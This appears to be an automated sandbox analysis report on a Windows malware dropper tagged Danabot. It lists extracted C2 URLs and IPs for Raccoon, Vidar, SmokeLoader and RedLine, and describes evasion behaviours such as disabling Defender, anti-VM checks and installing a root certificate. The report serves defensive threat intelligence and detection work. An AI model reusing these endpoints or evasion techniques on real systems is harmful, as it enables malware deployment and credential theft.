danabot | 1cdddf182f161ab789edfcc68a0706d0b8412a9ba67a3f918fe60fab270eabff

Analysis

max time kernel
33s
max time network
152s
platform
windows10_x64
resource
win10v20210408
submitted
11-08-2021 19:56

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

0965DA18BFBF19BAFB1C414882E19081.exe
Size

1.6MB
MD5

0965da18bfbf19bafb1c414882e19081
SHA1

e4556bac206f74d3a3d3f637e594507c30707240
SHA256

1cdddf182f161ab789edfcc68a0706d0b8412a9ba67a3f918fe60fab270eabff
SHA512

fe4702a2fde36b4fb0015ad7d3e2169a1ccbf5e29d7edef40f104ed47661b4b0365b13b1913e9f4e0ab7bc9ac542ee86c02a802a13567dfd0b8f5485a5be829b

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://91.241.19.52/Api/GetFile2

Extracted

Family

raccoon

Botnet

39b871ed120e56ecbdc546b8a8a78c4e5516bc1f

Attributes

url4cnc
https://telete.in/uiopoppiscess

rc4.plain

Extracted

Family

vidar

Version

Botnet

937

https://lenak513.tumblr.com/

Attributes

profile_id
937

Extracted

Family

smokeloader

Version

2020

http://readinglistforjuly1.xyz/

http://readinglistforjuly2.xyz/

http://readinglistforjuly3.xyz/

http://readinglistforjuly4.xyz/

http://readinglistforjuly5.xyz/

http://readinglistforjuly6.xyz/

http://readinglistforjuly7.xyz/

http://readinglistforjuly8.xyz/

http://readinglistforjuly9.xyz/

http://readinglistforjuly10.xyz/

http://readinglistforjuly1.site/

http://readinglistforjuly2.site/

http://readinglistforjuly3.site/

http://readinglistforjuly4.site/

http://readinglistforjuly5.site/

http://readinglistforjuly6.site/

http://readinglistforjuly7.site/

http://readinglistforjuly8.site/

http://readinglistforjuly9.site/

http://readinglistforjuly10.site/

rc4.i32

Extracted

Family

vidar

Version

Botnet

916

https://lenak513.tumblr.com/

Attributes

profile_id
916

Extracted

Family

metasploit

Version

windows/single_exec

Extracted

Family

redline

Botnet

11_08_r

zertypelil.xyz:80

Extracted

Family

redline

Botnet

Ver 11.08

149.202.65.221:64206

Signatures

Danabot
Danabot is a modular banking Trojan that has been linked with other malware.
trojan banker danabot

Danabot Loader Component 2 IoCs

Processes:

resource	yara_rule
\Users\Admin\DOCUME~1\SF5OJQ~1.TMP	DanabotLoader2021
C:\Users\Admin\DOCUME~1\SF5OJQ~1.TMP	DanabotLoader2021

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba Payload 2 IoCs

Processes:

resource	yara_rule
behavioral2/memory/4204-289-0x0000000003FB0000-0x00000000048D6000-memory.dmp	family_glupteba
behavioral2/memory/4204-300-0x0000000000400000-0x0000000003724000-memory.dmp	family_glupteba

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit
Modifies Windows Defender Real-time Protection settings 3 TTPs
evasion trojan

Modify Registry
T1112

Modify Existing Service
T1031

Disabling Security Tools
T1089

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

rundll32.exerUNdlL32.eXe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5900	5524	rundll32.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6600	5524	rUNdlL32.eXe

Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon

Raccoon Stealer Payload 2 IoCs

Processes:

resource	yara_rule
behavioral2/memory/2104-251-0x0000000000400000-0x0000000002CB5000-memory.dmp	family_raccoon
behavioral2/memory/2104-265-0x0000000004990000-0x0000000004A23000-memory.dmp	family_raccoon

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 6 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\Documents\soe29ElZkzYGhSRDntT9Vks9.exe	family_redline
C:\Users\Admin\Documents\soe29ElZkzYGhSRDntT9Vks9.exe	family_redline
behavioral2/memory/4716-277-0x0000000000418F7A-mapping.dmp	family_redline
behavioral2/memory/4716-275-0x0000000000400000-0x000000000041E000-memory.dmp	family_redline
behavioral2/memory/4156-272-0x0000000000418F36-mapping.dmp	family_redline
behavioral2/memory/4156-271-0x0000000000400000-0x000000000041E000-memory.dmp	family_redline

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

Processes:

WerFault.exe

description pid process target process

PID 4928 created 1596 4928 WerFault.exe a0meNLu9pARmeffoPlzWfmLS.exe
Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
suricata: ET MALWARE Generic Password Stealer User Agent Detected (RookIE)
suricata: ET MALWARE Generic Password Stealer User Agent Detected (RookIE)
suricata
suricata: ET MALWARE Observed Elysium Stealer Variant CnC Domain (all-brain-company .xyz in TLS SNI)
suricata: ET MALWARE Observed Elysium Stealer Variant CnC Domain (all-brain-company .xyz in TLS SNI)
suricata
suricata: ET MALWARE Potential Dridex.Maldoc Minimal Executable Request
suricata: ET MALWARE Potential Dridex.Maldoc Minimal Executable Request
suricata
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

description	pid	process	target process
PID 4928 created 1596	4928	WerFault.exe	a0meNLu9pARmeffoPlzWfmLS.exe

Vidar Stealer 4 IoCs

stealer

Processes:

resource	yara_rule
behavioral2/memory/3644-201-0x0000000004910000-0x00000000049AD000-memory.dmp	family_vidar
behavioral2/memory/2020-246-0x0000000004910000-0x00000000049AD000-memory.dmp	family_vidar
behavioral2/memory/2020-255-0x0000000000400000-0x0000000002CC5000-memory.dmp	family_vidar
behavioral2/memory/3644-269-0x0000000000400000-0x0000000002CC5000-memory.dmp	family_vidar

Downloads MZ/PE file

Executes dropped EXE 26 IoCs

Processes:

ehssg5KK4CtOASkFfxFEOVw2.exe5d0AhBbC5xh84qflxZuIga1x.exeSf5OJqd869gTY8Cyb9x_TdhB.exeoPy3yhdI3Sl8pqvROhznz9Eh.exeJbVzZw_Dc1rxbJdQreY7rfsg.exesoe29ElZkzYGhSRDntT9Vks9.exeK4iXUHBNq5IKVBDhUB1SbJbf.exewHI9h6FZxQmXKgJ_c7He8mO6.exe63rxKCo12wO7bjFfeFbUgsME.exeDjRa319FmldItjZQw9YRXds4.exesE1wQsKV6NbFfagvAnzUt51I.execeORjn2adkxqTS2oOe6u4mId.exeHtS0FHvNC7WSZCpN46i8XmJ5.exeWD3Nh4c9A__20Ksrm8ViBaFS.exeWerFault.exeDjRa319FmldItjZQw9YRXds4.exewyEyW8KkqQ9Cwm1SA1IYEcvR.exe6QoIdx23uNk5xj7H8lBXFA5K.exetstzrz65otEz80V5RoTYW4f_.exea0meNLu9pARmeffoPlzWfmLS.exeYsM0xZEFNIyoPbp3imkQvX8w.exez1v7oQMEGA5W31wseaBz3VOa.exeHtS0FHvNC7WSZCpN46i8XmJ5.execustomer3.exemd8_8eus.exejooyu.exe

pid	process
4140	ehssg5KK4CtOASkFfxFEOVw2.exe
3644	5d0AhBbC5xh84qflxZuIga1x.exe
4124	Sf5OJqd869gTY8Cyb9x_TdhB.exe
4132	oPy3yhdI3Sl8pqvROhznz9Eh.exe
4180	JbVzZw_Dc1rxbJdQreY7rfsg.exe
4172	soe29ElZkzYGhSRDntT9Vks9.exe
4204	K4iXUHBNq5IKVBDhUB1SbJbf.exe
4116	wHI9h6FZxQmXKgJ_c7He8mO6.exe
4164	63rxKCo12wO7bjFfeFbUgsME.exe
4156	DjRa319FmldItjZQw9YRXds4.exe
1916	sE1wQsKV6NbFfagvAnzUt51I.exe
1564	ceORjn2adkxqTS2oOe6u4mId.exe
1856	HtS0FHvNC7WSZCpN46i8XmJ5.exe
644	WD3Nh4c9A__20Ksrm8ViBaFS.exe
3948	WerFault.exe
3952	DjRa319FmldItjZQw9YRXds4.exe
3852	wyEyW8KkqQ9Cwm1SA1IYEcvR.exe
2020	6QoIdx23uNk5xj7H8lBXFA5K.exe
2336	tstzrz65otEz80V5RoTYW4f_.exe
1596	a0meNLu9pARmeffoPlzWfmLS.exe
2104	YsM0xZEFNIyoPbp3imkQvX8w.exe
4536	z1v7oQMEGA5W31wseaBz3VOa.exe
4964	HtS0FHvNC7WSZCpN46i8XmJ5.exe
5108	customer3.exe
4236	md8_8eus.exe
3636	jooyu.exe

VMProtect packed file 3 IoCs

Detects executables packed with VMProtect commercial packer.

vmprotect

Processes:

resource	yara_rule
C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe	vmprotect
behavioral2/memory/4236-242-0x0000000000400000-0x000000000067D000-memory.dmp	vmprotect
C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe	vmprotect

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

JbVzZw_Dc1rxbJdQreY7rfsg.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	JbVzZw_Dc1rxbJdQreY7rfsg.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	JbVzZw_Dc1rxbJdQreY7rfsg.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

0965DA18BFBF19BAFB1C414882E19081.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Control Panel\International\Geo\Nation	0965DA18BFBF19BAFB1C414882E19081.exe

Loads dropped DLL 2 IoCs

Processes:

z1v7oQMEGA5W31wseaBz3VOa.exerundll32.exe

pid process

4536 z1v7oQMEGA5W31wseaBz3VOa.exe
3620 rundll32.exe

pid	process
4536	z1v7oQMEGA5W31wseaBz3VOa.exe
3620	rundll32.exe

Themida packer 3 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
C:\Users\Admin\Documents\JbVzZw_Dc1rxbJdQreY7rfsg.exe	themida
C:\Users\Admin\Documents\JbVzZw_Dc1rxbJdQreY7rfsg.exe	themida
behavioral2/memory/4180-232-0x00000000008F0000-0x00000000008F1000-memory.dmp	themida

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

Processes:

JbVzZw_Dc1rxbJdQreY7rfsg.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	JbVzZw_Dc1rxbJdQreY7rfsg.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Looks up external IP address via web service 5 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

7 ipinfo.io
8 ipinfo.io
118 ip-api.com
165 ipinfo.io
168 ipinfo.io
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

Processes:

JbVzZw_Dc1rxbJdQreY7rfsg.exe

pid process

4180 JbVzZw_Dc1rxbJdQreY7rfsg.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

HtS0FHvNC7WSZCpN46i8XmJ5.exe

description pid process target process

PID 1856 set thread context of 4964 1856 HtS0FHvNC7WSZCpN46i8XmJ5.exe HtS0FHvNC7WSZCpN46i8XmJ5.exe

flow	ioc
7	ipinfo.io
8	ipinfo.io
118	ip-api.com
165	ipinfo.io
168	ipinfo.io

pid	process
4180	JbVzZw_Dc1rxbJdQreY7rfsg.exe

description	pid	process	target process
PID 1856 set thread context of 4964	1856	HtS0FHvNC7WSZCpN46i8XmJ5.exe	HtS0FHvNC7WSZCpN46i8XmJ5.exe

Drops file in Program Files directory 64 IoCs

Processes:

z1v7oQMEGA5W31wseaBz3VOa.exeDjRa319FmldItjZQw9YRXds4.exe

description	ioc	process
File created	C:\Program Files (x86)\lighteningplayer\lua\extensions\VLSub.luac	z1v7oQMEGA5W31wseaBz3VOa.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\js\common.js	z1v7oQMEGA5W31wseaBz3VOa.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\modules\simplexml.luac	z1v7oQMEGA5W31wseaBz3VOa.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\playlist\appletrailers.luac	z1v7oQMEGA5W31wseaBz3VOa.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\sd\icecast.luac	z1v7oQMEGA5W31wseaBz3VOa.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\css\main.css	z1v7oQMEGA5W31wseaBz3VOa.exe
File created	C:\Program Files (x86)\lighteningplayer\libvlccore.dll	z1v7oQMEGA5W31wseaBz3VOa.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\favicon.ico	z1v7oQMEGA5W31wseaBz3VOa.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\requests\status.xml	z1v7oQMEGA5W31wseaBz3VOa.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\intf\http.luac	z1v7oQMEGA5W31wseaBz3VOa.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\intf\telnet.luac	z1v7oQMEGA5W31wseaBz3VOa.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\requests\playlist.xml	z1v7oQMEGA5W31wseaBz3VOa.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\requests\playlist_jstree.xml	z1v7oQMEGA5W31wseaBz3VOa.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\playlist\rockbox_fm_presets.luac	z1v7oQMEGA5W31wseaBz3VOa.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\playlist\youtube.luac	z1v7oQMEGA5W31wseaBz3VOa.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\meta\art\00_musicbrainz.luac	z1v7oQMEGA5W31wseaBz3VOa.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\playlist\vocaroo.luac	z1v7oQMEGA5W31wseaBz3VOa.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\mobile_view.html	z1v7oQMEGA5W31wseaBz3VOa.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\css\ui-lightness\images\ui-bg_glass_65_ffffff_1x400.png	z1v7oQMEGA5W31wseaBz3VOa.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\dialogs\stream_config_window.html	z1v7oQMEGA5W31wseaBz3VOa.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\images\Video-48.png	z1v7oQMEGA5W31wseaBz3VOa.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\js\controllers.js	z1v7oQMEGA5W31wseaBz3VOa.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\playlist\anevia_xml.luac	z1v7oQMEGA5W31wseaBz3VOa.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\dialogs\offset_window.html	z1v7oQMEGA5W31wseaBz3VOa.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\playlist\liveleak.luac	z1v7oQMEGA5W31wseaBz3VOa.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\access\libfilesystem_plugin.dll	z1v7oQMEGA5W31wseaBz3VOa.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\requests\README.txt	z1v7oQMEGA5W31wseaBz3VOa.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\playlist\vimeo.luac	z1v7oQMEGA5W31wseaBz3VOa.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\customer3.exe	DjRa319FmldItjZQw9YRXds4.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\Uninstall.exe	DjRa319FmldItjZQw9YRXds4.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\css\ui-lightness\images\ui-bg_diagonals-thick_20_666666_40x40.png	z1v7oQMEGA5W31wseaBz3VOa.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\css\ui-lightness\images\ui-bg_gloss-wave_35_f6a828_500x100.png	z1v7oQMEGA5W31wseaBz3VOa.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\dialogs\error_window.html	z1v7oQMEGA5W31wseaBz3VOa.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\dialogs\mosaic_window.html	z1v7oQMEGA5W31wseaBz3VOa.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\requests\vlm_cmd.xml	z1v7oQMEGA5W31wseaBz3VOa.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\playlist\newgrounds.luac	z1v7oQMEGA5W31wseaBz3VOa.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\playlist\twitch.luac	z1v7oQMEGA5W31wseaBz3VOa.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\access\libaccess_realrtsp_plugin.dll	z1v7oQMEGA5W31wseaBz3VOa.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\css\ui-lightness\images\ui-bg_flat_10_000000_40x100.png	z1v7oQMEGA5W31wseaBz3VOa.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\dialogs\browse_window.html	z1v7oQMEGA5W31wseaBz3VOa.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\modules\common.luac	z1v7oQMEGA5W31wseaBz3VOa.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\playlist\bbc_co_uk.luac	z1v7oQMEGA5W31wseaBz3VOa.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\images\vlc16x16.png	z1v7oQMEGA5W31wseaBz3VOa.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\requests\status.json	z1v7oQMEGA5W31wseaBz3VOa.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\playlist\jamendo.luac	z1v7oQMEGA5W31wseaBz3VOa.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\access\libnfs_plugin.dll	z1v7oQMEGA5W31wseaBz3VOa.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\css\ui-lightness\images\ui-bg_highlight-soft_75_ffe45c_1x100.png	z1v7oQMEGA5W31wseaBz3VOa.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\css\ui-lightness\images\ui-icons_ffd27a_256x240.png	z1v7oQMEGA5W31wseaBz3VOa.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\images\vlc-48.png	z1v7oQMEGA5W31wseaBz3VOa.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\requests\playlist.json	z1v7oQMEGA5W31wseaBz3VOa.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\playlist\dailymotion.luac	z1v7oQMEGA5W31wseaBz3VOa.exe
File created	C:\Program Files (x86)\lighteningplayer\lighteningplayer.ico	z1v7oQMEGA5W31wseaBz3VOa.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\requests\browse.json	z1v7oQMEGA5W31wseaBz3VOa.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\access\libidummy_plugin.dll	z1v7oQMEGA5W31wseaBz3VOa.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\mobile_browse.html	z1v7oQMEGA5W31wseaBz3VOa.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\images\Folder-48.png	z1v7oQMEGA5W31wseaBz3VOa.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\requests\vlm.xml	z1v7oQMEGA5W31wseaBz3VOa.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\css\ui-lightness\images\ui-icons_222222_256x240.png	z1v7oQMEGA5W31wseaBz3VOa.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\images\Other-48.png	z1v7oQMEGA5W31wseaBz3VOa.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\js\ui.js	z1v7oQMEGA5W31wseaBz3VOa.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\access\libhttp_plugin.dll	z1v7oQMEGA5W31wseaBz3VOa.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\mobile.html	z1v7oQMEGA5W31wseaBz3VOa.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\vlm.html	z1v7oQMEGA5W31wseaBz3VOa.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\css\ui-lightness\images\ui-bg_glass_100_f6f6f6_1x400.png	z1v7oQMEGA5W31wseaBz3VOa.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 35 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
4612	4116	WerFault.exe	wHI9h6FZxQmXKgJ_c7He8mO6.exe
3832	3644	WerFault.exe	5d0AhBbC5xh84qflxZuIga1x.exe
5036	2020	WerFault.exe	6QoIdx23uNk5xj7H8lBXFA5K.exe
3948	2020	WerFault.exe	6QoIdx23uNk5xj7H8lBXFA5K.exe
2256	3852	WerFault.exe	wyEyW8KkqQ9Cwm1SA1IYEcvR.exe
4956	4116	WerFault.exe	wHI9h6FZxQmXKgJ_c7He8mO6.exe
4928	1596	WerFault.exe	a0meNLu9pARmeffoPlzWfmLS.exe
5136	4116	WerFault.exe	wHI9h6FZxQmXKgJ_c7He8mO6.exe
5504	2020	WerFault.exe	6QoIdx23uNk5xj7H8lBXFA5K.exe
5464	4116	WerFault.exe	wHI9h6FZxQmXKgJ_c7He8mO6.exe
5620	3644	WerFault.exe	5d0AhBbC5xh84qflxZuIga1x.exe
5244	3644	WerFault.exe	5d0AhBbC5xh84qflxZuIga1x.exe
5760	2020	WerFault.exe	6QoIdx23uNk5xj7H8lBXFA5K.exe
5236	2020	WerFault.exe	6QoIdx23uNk5xj7H8lBXFA5K.exe
5880	3644	WerFault.exe	5d0AhBbC5xh84qflxZuIga1x.exe
5952	2020	WerFault.exe	6QoIdx23uNk5xj7H8lBXFA5K.exe
6076	3644	WerFault.exe	5d0AhBbC5xh84qflxZuIga1x.exe
5008	5672	WerFault.exe	Runtimebroker.exe
1408	2020	WerFault.exe	6QoIdx23uNk5xj7H8lBXFA5K.exe
5368	3644	WerFault.exe	5d0AhBbC5xh84qflxZuIga1x.exe
5136	5672	WerFault.exe	Runtimebroker.exe
5828	4116	WerFault.exe	wHI9h6FZxQmXKgJ_c7He8mO6.exe
5876	5672	WerFault.exe	Runtimebroker.exe
6064	2020	WerFault.exe	6QoIdx23uNk5xj7H8lBXFA5K.exe
5952	5672	WerFault.exe	Runtimebroker.exe
5096	2020	WerFault.exe	6QoIdx23uNk5xj7H8lBXFA5K.exe
3020	4116	WerFault.exe	wHI9h6FZxQmXKgJ_c7He8mO6.exe
3876	5672	WerFault.exe	Runtimebroker.exe
5464	2020	WerFault.exe	6QoIdx23uNk5xj7H8lBXFA5K.exe
2848	5672	WerFault.exe	Runtimebroker.exe
5900	3644	WerFault.exe	5d0AhBbC5xh84qflxZuIga1x.exe
5712	5672	WerFault.exe	Runtimebroker.exe
212	3644	WerFault.exe	5d0AhBbC5xh84qflxZuIga1x.exe
5972	2020	WerFault.exe	6QoIdx23uNk5xj7H8lBXFA5K.exe
3328	1564	WerFault.exe	ceORjn2adkxqTS2oOe6u4mId.exe

NSIS installer 2 IoCs

installer

Processes:

resource	yara_rule
C:\Users\Admin\Documents\z1v7oQMEGA5W31wseaBz3VOa.exe	nsis_installer_2
C:\Users\Admin\Documents\z1v7oQMEGA5W31wseaBz3VOa.exe	nsis_installer_2

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

HtS0FHvNC7WSZCpN46i8XmJ5.exe

description	ioc	process
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	HtS0FHvNC7WSZCpN46i8XmJ5.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	HtS0FHvNC7WSZCpN46i8XmJ5.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	HtS0FHvNC7WSZCpN46i8XmJ5.exe

Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

5956 timeout.exe
Download via BitsAdmin 1 TTPs 1 IoCs
dropper

BITS Jobs
T1197

Processes:

bitsadmin.exe

pid process

6948 bitsadmin.exe
Kills process with taskkill 1 IoCs
evasion

Processes:

taskkill.exe

pid process

5980 taskkill.exe

pid	process
5956	timeout.exe

pid	process
6948	bitsadmin.exe

pid	process
5980	taskkill.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

0965DA18BFBF19BAFB1C414882E19081.exe

description	ioc	process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c000000010000000400000000080000090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	0965DA18BFBF19BAFB1C414882E19081.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	0965DA18BFBF19BAFB1C414882E19081.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

Processes:

description	flow	ioc
HTTP User-Agent header	170	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	166	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

0965DA18BFBF19BAFB1C414882E19081.exez1v7oQMEGA5W31wseaBz3VOa.exeHtS0FHvNC7WSZCpN46i8XmJ5.exe

pid	process
3628	0965DA18BFBF19BAFB1C414882E19081.exe
3628	0965DA18BFBF19BAFB1C414882E19081.exe
4536	z1v7oQMEGA5W31wseaBz3VOa.exe
4536	z1v7oQMEGA5W31wseaBz3VOa.exe
4536	z1v7oQMEGA5W31wseaBz3VOa.exe
